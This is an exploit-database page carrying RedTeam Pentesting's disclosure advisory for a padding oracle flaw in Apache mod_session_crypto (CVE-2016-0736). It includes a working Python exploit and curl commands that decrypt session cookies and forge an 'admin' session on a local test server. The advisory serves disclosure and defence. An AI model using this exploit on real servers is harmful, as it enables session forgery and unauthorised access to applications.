Menu

Search for hundreds of thousands of exploits

"Apache mod_session_crypto - Padding Oracle"

Author

Exploit author

"RedTeam Pentesting GmbH"

Platform

Exploit platform

multiple

Release date

Exploit published date

2016-12-23

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
'''
Advisory: Padding Oracle in Apache mod_session_crypto

During a penetration test, RedTeam Pentesting discovered a Padding
Oracle vulnerability in mod_session_crypto of the Apache web server.
This vulnerability can be exploited to decrypt the session data and even
encrypt attacker-specified data.


Details
=======

Product: Apache HTTP Server mod_session_crypto
Affected Versions: 2.3 to 2.5
Fixed Versions: 2.4.25
Vulnerability Type: Padding Oracle
Security Risk: high
Vendor URL: https://httpd.apache.org/docs/trunk/mod/mod_session_crypto.html
Vendor Status: fixed version released
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2016-001.txt
Advisory Status: published
CVE: CVE-2016-0736
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-0736


Introduction
============

The module mod_session_crypto of the Apache HTTP Server can be used in
conjunction with the modules mod_session and mod_session_cookie to store
session data in an encrypted cookie within the users' browsers. This
avoids server-side session state so that incoming HTTP requests can be
easily distributed amongst a number of application web servers which do
not need to share session state.


More Details
============

The module mod_session_crypto uses symmetric cryptography to encrypt and
decrypt session data and uses mod_session to store the encrypted data in
a cookie (usually called "session") within the user's browser. The
decrypted session is then made available to the application in an
environment variable (in case of a CGI script) or in a custom HTTP
request header. The application can add a custom HTTP response header
(usually "X-Replace-Session") which instructs the HTTP server to replace
the session's content with the value of the header. Detailed
instructions to set up mod_session and mod_session_crypto can be found
in the documentation:
https://httpd.apache.org/docs/2.4/mod/mod_session.html#basicexamples

The module mod_session_crypto is configured to use either 3DES or AES
with various key sizes, defaulting to AES256. Encryption is handled by
the function "encrypt_string":

modules/session/mod_session_crypto.c
------------------------------------------------------------------------
/**
 * Encrypt the string given as per the current config.
 *
 * Returns APR_SUCCESS if successful.
 */
static apr_status_t encrypt_string(request_rec * r, const apr_crypto_t *f,
        session_crypto_dir_conf *dconf, const char *in, char **out)
{
[...]
    apr_crypto_key_t *key = NULL;
[...]
    const unsigned char *iv = NULL;
[...]

    /* use a uuid as a salt value, and prepend it to our result */
    apr_uuid_get(&salt);

[...]

    res = apr_crypto_passphrase(&key, &ivSize, passphrase,
            strlen(passphrase),
            (unsigned char *) (&salt), sizeof(apr_uuid_t),
            *cipher, APR_MODE_CBC, 1, 4096, f, r->pool);

[...]

    res = apr_crypto_block_encrypt_init(&block, &iv, key, &blockSize, r->pool);
[...]
    res = apr_crypto_block_encrypt(&encrypt, &encryptlen, (unsigned char *)in,
            strlen(in), block);
[...]
    res = apr_crypto_block_encrypt_finish(encrypt + encryptlen, &tlen, block);
[...]

    /* prepend the salt and the iv to the result */
    combined = apr_palloc(r->pool, ivSize + encryptlen + sizeof(apr_uuid_t));
    memcpy(combined, &salt, sizeof(apr_uuid_t));
    memcpy(combined + sizeof(apr_uuid_t), iv, ivSize);
    memcpy(combined + sizeof(apr_uuid_t) + ivSize, encrypt, encryptlen);

    /* base64 encode the result */
    base64 = apr_palloc(r->pool, apr_base64_encode_len(ivSize + encryptlen +
                    sizeof(apr_uuid_t) + 1)
            * sizeof(char));
[...]
    return res;
}
------------------------------------------------------------------------

The source code shows that an encryption key is derived from the
configured password and a randomly chosen salt by calling the function
"apr_crypto_passphrase". This function internally uses PBKDF2 to derive
the key. The data is then encrypted and the salt and IV prepended to the
encrypted data. Before returning to the caller, the result is encoded as
base64.

This procedure does not guarantee integrity of the ciphertext, so the
Apache module is unable to detect whether a session sent back to the
server has been tampered with. Depending on the application this often
means that attackers are able to exploit a Padding Oracle vulnerability.
This allows decrypting the session and encrypting arbitrary data chosen
by the attacker.


Proof of Concept
================

The vulnerability can be reproduced as follows. First, the modules
mod_session, mod_session_crypto and mod_session_cookie are enabled and
configured:

------------------------------------------------------------------------
Session On
SessionEnv On
SessionCookieName session path=/
SessionHeader X-Replace-Session
SessionCryptoPassphrase RedTeam
------------------------------------------------------------------------

In addition, CGI scripts are enabled for a folder and the following CGI
script is saved as "status.rb" and is made available to clients:

------------------------------------------------------------------------
#!/usr/bin/env ruby

require 'cgi'

cgi = CGI.new
data = CGI.parse(ENV['HTTP_SESSION'])

if data.has_key? 'username'
        puts
        puts "your username is %s" % data['username']
        exit
end

puts "X-Replace-Session: username=guest&timestamp=" + Time.now.strftime("%s")
puts
puts "not logged in"
------------------------------------------------------------------------

Once the CGI script is correctly set up, the command-line HTTP client curl
can be used to access it:

------------------------------------------------------------------------
$ curl -i http://127.0.0.1:8080/cgi-bin/status.rb
HTTP/1.1 200 OK
Date: Tue, 19 Jan 2016 13:23:19 GMT
Server: Apache/2.4.10 (Ubuntu)
Set-Cookie: session=sxGTJsP1TqiPrbKVM1GAXHla5xSbA/u4zH/4Hztmf0CFsp1vpLQ
   l1DGPGMMyujJL/znsBkkf0f8cXLgNDgsGE9O7pbWnbaJS8JEKXZMYBRU=;path=/
Cache-Control: no-cache
Set-Cookie: session=sxGTJsP1TqiPrbKVM1GAXHla5xSbA/u4zH/4Hztmf0CFsp1vpLQ
   l1DGPGMMyujJL/znsBkkf0f8cXLgNDgsGE9O7pbWnbaJS8JEKXZMYBRU=;path=/
Transfer-Encoding: chunked
Content-Type: application/x-ruby

not logged in
------------------------------------------------------------------------

The example shows that a new encrypted cookie with the name "session" is
returned, and the response body contains the text "not logged in".
Calling the script again with the cookie just returned reveals that the
username in the session is set to "guest":

------------------------------------------------------------------------
$ curl -b session=sxGTJsP1TqiPrbKVM1GAXHla5xSbA/u4zH/4Hztmf0CFsp1vp\
LQl1DGPGMMyujJL/znsBkkf0f8cXLgNDgsGE9O7pbWnbaJS8JEKXZMYBRU= \
http://127.0.0.1:8080/cgi-bin/status.rb

your username is guest
------------------------------------------------------------------------

Sending a modified cookie ending in "u=" instead of "U=" will invalidate
the padding at the end of the ciphertext, so the session cannot be
decrypted correctly and is therefore not passed to the CGI script, which
returns the text "not logged in" again:

------------------------------------------------------------------------
$ curl -b session=sxGTJsP1TqiPrbKVM1GAXHla5xSbA/u4zH/4Hztmf0CFsp1vp\
LQl1DGPGMMyujJL/znsBkkf0f8cXLgNDgsGE9O7pbWnbaJS8JEKXZMYBRu= \
http://127.0.0.1:8080/cgi-bin/status.rb

not logged in
------------------------------------------------------------------------

This verifies the existence of the Padding Oracle vulnerability. The
Python library[1] python-paddingoracle was then used to implement
decrypting the session by exploiting the Padding Oracle vulnerability.

exploit.py
------------------------------------------------------------------------
'''

from paddingoracle import BadPaddingException, PaddingOracle
from base64 import b64encode, b64decode
import requests

class PadBuster(PaddingOracle):
    def __init__(self, valid_cookie, **kwargs):
        super(PadBuster, self).__init__(**kwargs)
        self.wait = kwargs.get('wait', 2.0)
        self.valid_cookie = valid_cookie

    def oracle(self, data, **kwargs):
        v = b64encode(self.valid_cookie+data)

        response = requests.get('http://127.0.0.1:8080/cgi-bin/status.rb',
                cookies=dict(session=v), stream=False, timeout=5, verify=False)

        if 'username' in response.content:
            logging.debug('No padding exception raised on %r', v)
            return

        raise BadPaddingException

if __name__ == '__main__':
    import logging
    import sys

    if not sys.argv[2:]:
        print 'Usage: [encrypt|decrypt] <session value> <plaintext>'
        sys.exit(1)

    logging.basicConfig(level=logging.WARN)
    mode = sys.argv[1]
    session = b64decode(sys.argv[2])
    padbuster = PadBuster(session)

    if mode == "decrypt":
        cookie = padbuster.decrypt(session[32:], block_size=16, iv=session[16:32])
        print('Decrypted session:\n%r' % cookie)
    elif mode == "encrypt":
        key = session[0:16]
        plaintext = sys.argv[3]

        s = padbuster.encrypt(plaintext, block_size=16)

        data = b64encode(key+s[0:len(s)-16])
        print('Encrypted session:\n%s' % data)
    else:
        print "invalid mode"
        sys.exit(1)

'''
------------------------------------------------------------------------

This Python script can then be used to decrypt the session:

------------------------------------------------------------------------
$ time python exploit.py decrypt sxGTJsP1TqiPrbKVM1GAXHla5xSbA/u4zH/4\
Hztmf0CFsp1vpLQl1DGPGMMyujJL/znsBkkf0f8cXLgNDgsGE9O7pbWnbaJS8JEKXZMYBRU=
Decrypted session:
b'username=guest&timestamp=1453282205\r\r\r\r\r\r\r\r\r\r\r\r\r'

real    6m43.088s
user    0m15.464s
sys 0m0.976s
------------------------------------------------------------------------

In this sample application, the username and a timestamp are included in
the session data. The Python script can also be used to encrypt a new
session containing the username "admin":

------------------------------------------------------------------------
$ time python exploit.py encrypt sxGTJsP1TqiPrbKVM1GAXHla5xSbA/u4zH/4\
Hztmf0CFsp1vpLQl1DGPGMMyujJL/znsBkkf0f8cXLgNDgsGE9O7pbWnbaJS8JEKXZMYB\
RU= username=admin

Encrypted session:
sxGTJsP1TqiPrbKVM1GAXPZQZNxCxjK938K9tufqX9xDLFciz7zmQ/GLFjF4pcXY

real3m38.002s
users0m8.536s
sys0m0.512s

------------------------------------------------------------------------

Sending this newly encrypted session to the server shows that the
username is now "admin":

------------------------------------------------------------------------
$ curl -b session=sxGTJsP1TqiPrbKVM1GAXPZQZNxCxjK938K9tufqX9xDLFciz7\
zmQ/GLFjF4pcXY http://127.0.0.1:8080/cgi-bin/status.rb

your username is admin
------------------------------------------------------------------------


Workaround
==========

Use a different means to store the session, e.g. in a database by using
mod_session_dbd.


Fix
===

Update to Apache HTTP version 2.4.25 (see [2]).


Security Risk
=============

Applications which use mod_session_crypto usually store sensitive values
in the session and rely on an attacker's inability to decrypt or modify
the session. Successful exploitation of the Padding Oracle vulnerability
subverts this mechanism and allows to construct sessions with arbitrary
attacker-specified content. Depending on the application this may
completely subvert the application's security. Therefore, this
vulnerability poses a high risk.


Timeline
========

2016-01-11 Vulnerability identified
2016-01-12 Customer approved disclosure to vendor
2016-01-12 CVE number requested
2016-01-20 Vendor notified
2016-01-22 Vendor confirmed the vulnerability
2016-02-03 Vendor provided patch
2016-02-04 Apache Security Team assigned CVE number
2016-03-03 Requested status update from vendor, no response
2016-05-02 Requested status update from vendor, no response
2016-07-14 Requested status update and roadmap from vendor
2016-07-21 Vendor confirms working on a new released and inquired whether the
           patch fixes the vulnerability
2016-07-22 RedTeam confirms
2016-08-24 Requested status update from vendor
2016-08-29 Vendor states that there is no concrete timeline
2016-12-05 Vendor announces a release
2016-12-20 Vendor released fixed version
2016-12-23 Advisory released


References
==========

[1] https://github.com/mwielgoszewski/python-paddingoracle
[2] http://httpd.apache.org/security/vulnerabilities_24.html


RedTeam Pentesting GmbH
=======================

RedTeam Pentesting offers individual penetration tests performed by a
team of specialised IT-security experts. Hereby, security weaknesses in
company networks or products are uncovered and can be fixed immediately.

As there are only few experts in this field, RedTeam Pentesting wants to
share its knowledge and enhance the public knowledge with research in
security-related areas. The results are made available as public
security advisories.

More information about RedTeam Pentesting can be found at:
https://www.redteam-pentesting.de/
'''
Release Date Title Type Platform Author
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2020-12-02 "Expense Management System - 'description' Stored Cross Site Scripting" webapps multiple "Nikhil Kumar"
2020-12-02 "Bakeshop Online Ordering System 1.0 - 'Owner' Persistent Cross-site scripting" webapps multiple "Parshwa Bhavsar"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "ILIAS Learning Management System 4.3 - SSRF" webapps multiple Dot
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "Under Construction Page with CPanel 1.0 - SQL injection" webapps multiple "Mayur Parmar"
Release Date Title Type Platform Author
2020-11-18 "BigBlueButton 2.2.25 - Arbitrary File Disclosure and Server-Side Request Forgery" webapps multiple "RedTeam Pentesting GmbH"
2020-10-08 "D-Link DSR-250N 3.12 - Denial of Service (PoC)" webapps hardware "RedTeam Pentesting GmbH"
2020-03-12 "WatchGuard Fireware AD Helper Component 5.8.5.10317 - Credential Disclosure" webapps java "RedTeam Pentesting GmbH"
2016-12-23 "Apache mod_session_crypto - Padding Oracle" webapps multiple "RedTeam Pentesting GmbH"
2016-06-02 "Websockify (C Implementation) 0.8.0 - Buffer Overflow (PoC)" dos multiple "RedTeam Pentesting GmbH"
2016-06-02 "Relay Ajax Directory Manager relayb01-071706/1.5.1/1.5.3 - Arbitrary File Upload" webapps php "RedTeam Pentesting GmbH"
2014-05-28 "webEdition CMS - 'we_fs.php' SQL Injection" webapps php "RedTeam Pentesting GmbH"
2013-05-07 "Dovecot with Exim - 'sender_address' Remote Command Execution" remote linux "RedTeam Pentesting GmbH"
2011-12-15 "Owl Intranet Engine 1.00 - 'userid' Authentication Bypass" webapps php "RedTeam Pentesting GmbH"
2011-03-15 "SugarCRM 6.1.1 - Information Disclosure" webapps php "RedTeam Pentesting GmbH"
2011-03-05 "nostromo nhttpd 1.9.3 - Directory Traversal Remote Command Execution" remote linux "RedTeam Pentesting GmbH"
2010-01-27 "Geo++ GNCASTER 1.4.0.7 NMEA-data - Denial of Service" dos linux "RedTeam Pentesting GmbH"
2010-01-27 "Geo++ GNCASTER 1.4.0.7 - GET Denial of Service" dos linux "RedTeam Pentesting GmbH"
2009-08-10 "Papoo 3.x - Upload Images Arbitrary File Upload" webapps php "RedTeam Pentesting GmbH"
2009-05-05 "IceWarp Merak Mail Server 9.4.1 - 'cleanHTML()' Cross-Site Scripting" webapps php "RedTeam Pentesting GmbH"
2009-05-05 "IceWarp Merak Mail Server 9.4.1 - 'item.php' Cross-Site Scripting" webapps php "RedTeam Pentesting GmbH"
2009-05-05 "IceWarp Merak Mail Server 9.4.1 - 'Forgot Password' Input Validation" webapps php "RedTeam Pentesting GmbH"
2007-09-17 "Alcatel-Lucent OmniPCX Enterprise 7.1 - Remote Command Execution" webapps cgi "RedTeam Pentesting GmbH"
2007-07-03 "Fujitsu ServerView 4.50.8 - DBASCIIAccess Remote Command Execution" remote multiple "RedTeam Pentesting GmbH"
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.